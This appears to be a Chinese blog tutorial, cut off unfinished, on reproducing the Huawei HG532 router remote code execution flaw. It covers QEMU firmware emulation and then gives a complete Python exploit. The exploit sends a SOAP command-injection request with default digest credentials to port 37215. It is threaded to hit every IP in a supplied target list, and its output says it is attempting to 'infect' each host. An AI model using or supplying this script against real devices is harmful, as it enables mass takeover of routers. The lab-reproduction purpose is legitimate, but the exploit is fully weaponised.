赞
踩
注:该复现过程有详细视频资料。
百度云盘AttifyOS下载地址:https://pan.baidu.com/s/1Vracsnlt5uNbdmfYK4dp8Q
密码:tvoh
HG532固件
链接:https://pan.baidu.com/s/1vZt-Ww7NAFdFSbDivNHM0w
提取码:tnie
Linux内核和硬盘映像
下载地址:https://people.debian.org/~aurel32/qemu/mips/
打开VMware,点击左上角“文件”菜单并点击打开。选择下载的AttifyOS.ova完成导入。虚拟机安装成功将下载的固件及Linux内核和硬盘映像放在虚拟机中。
先切换管理员身份以便后续软件下载,password for oit输入attify123,在固件所在目录下执行固件提取命令。
sudo su root
[sudo] password for oit:
root@ubuntu:/home/oit/tools/firmadyne# binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin
可根据自己所处网络进行网络设置,使路由器可与虚拟机通信即可。
sudo brctl addbr Virbr0
#若提示sudo: brctl: command not found
#则执行sudo apt-get install bridge-utils
sudo ifconfig Virbr0 192.168.254.133/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.254.131/24 up
sudo brctl addif Virbr0 tap0
安装QEMU,该固件为big-endian,故使用mips架构进行模拟。进入内核所在位置,启动路由器环境。
apt-get install qemu
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
登录路由器,用户名和密码都是root
debian-mips login: root
Password:
设置路由器网络
ifconfig eth0 192.168.234.122/24
#尝试与细腻及通信
ping 192.168.234.133
打开一个终端进入固件文件系统目录。
scp -r ./squashfs-root root@192.168.234.122:/root/
进入路由器环境中
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root /bin/sh
在虚拟机终端远程登录路由器开启服务。
ssh root@192.168.234.122
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic
此时路由器地址已经改变,在路由器环境中将地址修改回原地址。
ifconfig eth0 192.168.234.2/24 up
ifconfig br0 192.168.234.11/24 up
打开浏览器进行192.168.234.2,若出现连接不安全,将该地址添加信任即可。
Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code.
Payload
import threading, sys, time, random, socket, re, os, struct, array, requests from requests.auth import HTTPDigestAuth ips = open(sys.argv[1], "r").readlines() cmd = "mkdir test" # Your MIPS rm = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>" class exploit(threading.Thread): def __init__ (self, ip): threading.Thread.__init__(self) self.ip = str(ip).rstrip('\n') def run(self): try: url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1" requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm) print( "[SOAP] Attempting to infect " + self.ip) except Exception as e: print(e) for ip in ips: try: n = exploit(ip) n.start() time.sleep(0.03) except: print('error')
payload需要提供一个参数,该参数为文件路径,对应文件内保存目标机器群的ip。启动脚本可对文件中的ip对应的所有主机进行攻击。exploit函数为攻击代码,通过构建post请求实现任意指令执行,可通过cmd变量设置待执行的命令。
通过漏洞描述可以看到该漏洞发生点是端口37215。可实现任意命令执行功能。查看端口37215,发现是mic程序。
未完待~
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。